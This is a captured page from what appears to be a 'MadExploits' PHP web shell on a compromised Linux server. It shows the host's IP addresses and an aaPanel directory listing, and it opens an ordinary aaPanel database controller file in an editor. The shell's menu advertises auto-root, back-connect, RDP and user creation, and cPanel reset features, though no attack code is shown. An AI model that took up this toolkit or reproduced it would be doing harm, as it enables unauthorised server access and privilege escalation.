Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.144.91.201
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
panel /
class_v2 /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
btdockerModelV2
[ DIR ]
drwxr-xr-x
crontabModelV2
[ DIR ]
drwxr-xr-x
databaseModelV2
[ DIR ]
drwxr-xr-x
firewallModelV2
[ DIR ]
drwxr-xr-x
logsModelV2
[ DIR ]
drwxr-xr-x
monitorModelV2
[ DIR ]
drwxr-xr-x
panelModelV2
[ DIR ]
drwxr-xr-x
power_mta
[ DIR ]
drwxr-xr-x
projectModelV2
[ DIR ]
drwxr-xr-x
safeModelV2
[ DIR ]
drwxr-xr-x
safe_warning_v2
[ DIR ]
drwxr-xr-x
ssl_domainModelV2
[ DIR ]
drwxr-xr-x
virtualModelV2
[ DIR ]
drwxr-xr-x
wp_toolkit
[ DIR ]
drwxr-xr-x
acme_v3.py
133.98
KB
-rw-r--r--
ajax_v2.py
95.41
KB
-rw-r--r--
apache_v2.py
17.28
KB
-rw-r--r--
backup_bak_v2.py
24.86
KB
-rw-r--r--
breaking_through.py
47.94
KB
-rw-r--r--
cloud_stora_upload_v2.py
19.27
KB
-rw-r--r--
common_v2.py
12.45
KB
-rw-r--r--
config_v2.py
165.36
KB
-rw-r--r--
crontab_ssl_v2.py
1.85
KB
-rw-r--r--
crontab_v2.py
111.93
KB
-rw-r--r--
data_v2.py
36.54
KB
-rw-r--r--
database_v2.py
125.54
KB
-rw-r--r--
datatool_v2.py
5.83
KB
-rw-r--r--
db_mysql_v2.py
11.41
KB
-rw-r--r--
db_v2.py
11.04
KB
-rw-r--r--
dk_db.py
18.34
KB
-rw-r--r--
download_file_v2.py
2.54
KB
-rw-r--r--
fastcgi_client_two_v2.py
12.26
KB
-rw-r--r--
fastcgi_client_v2.py
6.89
KB
-rw-r--r--
file_execute_deny_v2.py
10.34
KB
-rw-r--r--
files_v2.py
149.12
KB
-rw-r--r--
firewall_new_v2.py
22.4
KB
-rw-r--r--
firewalld_v2.py
11.09
KB
-rw-r--r--
firewalls_v2.py
17.44
KB
-rw-r--r--
flask_compress_v2.py
5.12
KB
-rw-r--r--
flask_sockets_v2.py
3.75
KB
-rw-r--r--
ftp_log_v2.py
21.72
KB
-rw-r--r--
ftp_v2.py
16.17
KB
-rw-r--r--
http_requests_v2.py
24.25
KB
-rw-r--r--
jobs_v2.py
36.98
KB
-rw-r--r--
letsencrypt_v2.py
12.85
KB
-rw-r--r--
log_analysis_v2.py
12.23
KB
-rw-r--r--
monitor_v2.py
13.53
KB
-rw-r--r--
one_key_wp_v2.py
75.79
KB
-rw-r--r--
panelControllerV2.py
4.97
KB
-rw-r--r--
panelDatabaseControllerV2.py
5.76
KB
-rw-r--r--
panelDockerControllerV2.py
5.86
KB
-rw-r--r--
panelFireControllerV2.py
4.65
KB
-rw-r--r--
panelModControllerV2.py
5.13
KB
-rw-r--r--
panelProjectControllerV2.py
6.07
KB
-rw-r--r--
panelSafeControllerV2.py
4.65
KB
-rw-r--r--
panel_api_v2.py
10.43
KB
-rw-r--r--
panel_auth_v2.py
33.21
KB
-rw-r--r--
panel_backup_v2.py
102.56
KB
-rw-r--r--
panel_dns_api_v2.py
22.2
KB
-rw-r--r--
panel_http_proxy_v2.py
11.33
KB
-rw-r--r--
panel_lets_v2.py
43.61
KB
-rw-r--r--
panel_mssql_v2.py
4.48
KB
-rw-r--r--
panel_mysql_v2.py
7.55
KB
-rw-r--r--
panel_php_v2.py
24.78
KB
-rw-r--r--
panel_ping_v2.py
2.88
KB
-rw-r--r--
panel_plugin_v2.py
125.11
KB
-rw-r--r--
panel_push_v2.py
23.78
KB
-rw-r--r--
panel_redirect_v2.py
34.02
KB
-rw-r--r--
panel_restore_v2.py
11.04
KB
-rw-r--r--
panel_site_v2.py
343.73
KB
-rw-r--r--
panel_ssl_v2.py
75.34
KB
-rw-r--r--
panel_task_v2.py
28.7
KB
-rw-r--r--
panel_video_V2.py
1.88
KB
-rw-r--r--
panel_warning_v2.py
68.71
KB
-rw-r--r--
password_v2.py
8.09
KB
-rw-r--r--
plugin_auth_v2.py
3.14
KB
-rw-r--r--
plugin_deployment_v2.py
28.85
KB
-rw-r--r--
san_baseline_v2.py
51.13
KB
-rw-r--r--
site_dir_auth_v2.py
17.67
KB
-rw-r--r--
ssh_security_v2.py
45.66
KB
-rw-r--r--
ssh_terminal_v2.py
58.86
KB
-rw-r--r--
system_v2.py
44.77
KB
-rw-r--r--
userRegister_v2.py
6.74
KB
-rw-r--r--
user_login_v2.py
21.2
KB
-rw-r--r--
vilidate_v2.py
4.94
KB
-rw-r--r--
wxapp_v2.py
5.62
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : panelDatabaseControllerV2.py
#coding: utf-8 #------------------------------------------------------------------- # aaPanel #------------------------------------------------------------------- # Copyright (c) 2015-2017 aaPanel(www.aapanel.com) All rights reserved. #------------------------------------------------------------------- # Author: hezhihong<2024-04-15> #------------------------------------------------------------------- #------------------------------ # 数据库管理控制器 #------------------------------ import os,sys,public,json,re class DatabaseController: def __init__(self): pass def model(self,args): ''' @name 调用指定项目模型 @author hezhihong<2024-04-15> @param args<dict_obj> { mod_name: string<模型名称> def_name: string<方法名称> data: JSON } ''' try: # 表单验证 if args['mod_name'] in ['base']: return_message=public.return_status_code(1000,'Bad call!') del return_message['status'] return public.return_message(-1,0, return_message) public.exists_args('def_name,mod_name',args) if args['def_name'].find('__') != -1: return_message=public.return_status_code(1000,'The called method name cannot contain the "__" character') del return_message['status'] return public.return_message(-1,0, return_message) if not re.match(r"^\w+$",args['mod_name']): return_message=public.return_status_code(1000,r'The called module name cannot contain characters other than \w') del return_message['status'] return public.return_message(-1,0, return_message) if not re.match(r"^\w+$",args['def_name']): return_message=public.return_status_code(1000,r'The called module name cannot contain characters other than \w') del return_message['status'] return public.return_message(-1,0, return_message) except: return public.return_message(-1,0, public.get_error_object()) # 参数处理 module_name = args['mod_name'].strip() mod_name = "{}Model".format(args['mod_name'].strip()) def_name = args['def_name'].strip() # # 指定模型是否存在 # mod_file = "{}/databaseModel/{}.py".format(public.get_class_path(),mod_name) # if not os.path.exists(mod_file): # return public.return_status_code(1003,mod_name) # # 实例化 # def_object = public.get_script_object(mod_file) # if not def_object: return public.return_status_code(1000,'没有找到{}模型'.format(mod_name)) # run_object = getattr(def_object.main(),def_name,None) # if not run_object: return public.return_status_code(1000,'没有在{}模型中找到{}方法'.format(mod_name,def_name)) if not hasattr(args,'data'): args.data = {} if args.data: if isinstance(args.data,str): try: # 解析为dict_obj pdata = public.to_dict_obj(json.loads(args.data)) except: return public.return_message(-1,0,public.get_error_object()) elif isinstance(args.data,dict): pdata = public.to_dict_obj(args.data) else: pdata = args.data else: pdata = public.dict_obj() if isinstance(pdata,dict): pdata = public.to_dict_obj(pdata) pdata.model_index = 'database_v2' # 前置HOOK hook_index = '{}_{}_LAST'.format(mod_name.upper(),def_name.upper()) hook_result = public.exec_hook(hook_index,pdata) if isinstance(hook_result,public.dict_obj): pdata = hook_result # 桥接 elif isinstance(hook_result,dict): # return hook_result # 响应具体错误信息 return public.return_message(-1,0, hook_result) elif isinstance(hook_result,bool): if not hook_result: # 直接中断操作 return_message=public.return_data(False,{},error_msg='Pre-HOOK interrupt operation') del return_message['status'] return public.return_message(-1,0, return_message) # 调用处理方法 # result = run_object(pdata) import public.PluginLoader as plugin_loader mod_file = '{}/class_v2/databaseModelV2/{}.py'.format(public.get_panel_path(),mod_name) plugin_class = plugin_loader.get_module(mod_file) plugin_object = getattr(plugin_class,"main")() result = getattr(plugin_object,def_name)(pdata) # public.print_log("-------------------控制器mode : {}".format(result)) # if isinstance(result,dict): # if 'status' in result and result['status'] == False and 'msg' in result: # if isinstance(result['msg'],str): # if result['msg'].find('Traceback ') != -1: # raise public.PanelError(result['msg']) if isinstance(result,dict): if 'status' in result and result['status'] == -1 and 'message' in result and 'result' in result['message']: if isinstance(result['message']['result'],str): if result['message']['result'].find('Traceback ') != -1: raise public.return_message(-1,0,public.PanelError(result['message']['result'])) # 后置HOOK hook_index = '{}_{}_END'.format(mod_name.upper(),def_name.upper()) hook_data = public.to_dict_obj({ 'args': pdata, 'result': result }) hook_result = public.exec_hook(hook_index,hook_data) if isinstance(hook_result,dict): result = hook_result['result'] return result
Close